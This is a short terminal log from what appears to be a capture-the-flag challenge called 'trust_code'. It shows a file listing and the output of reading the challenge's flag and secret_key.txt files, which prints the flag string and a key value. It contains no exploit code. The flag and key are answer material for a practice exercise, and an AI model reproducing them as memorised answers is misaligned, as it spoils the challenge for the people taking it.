-r-xr-xr-x 1 root trust_code 807 Feb 25 2020 .profile
-rw-r--r-- 1 20162 20166 35 Mar 23 16:33 flag
-rwxr-xr-x 1 20162 20166 73 Mar 23 16:33 run.sh
-rw-r--r-- 1 20162 20166 16 Mar 23 16:33 secret_key.txt
-rwxr-xr-x 1 20162 20166 31096 Mar 23 16:33 trust_code
$ cat flag
LINECTF{I_5h0uld_n0t_trust_my_c0de}$
$ cat secret_key.txt
v0nVadznhxnv$nph$
LINECTF{I_5h0uld_n0t_trust_my_c0de}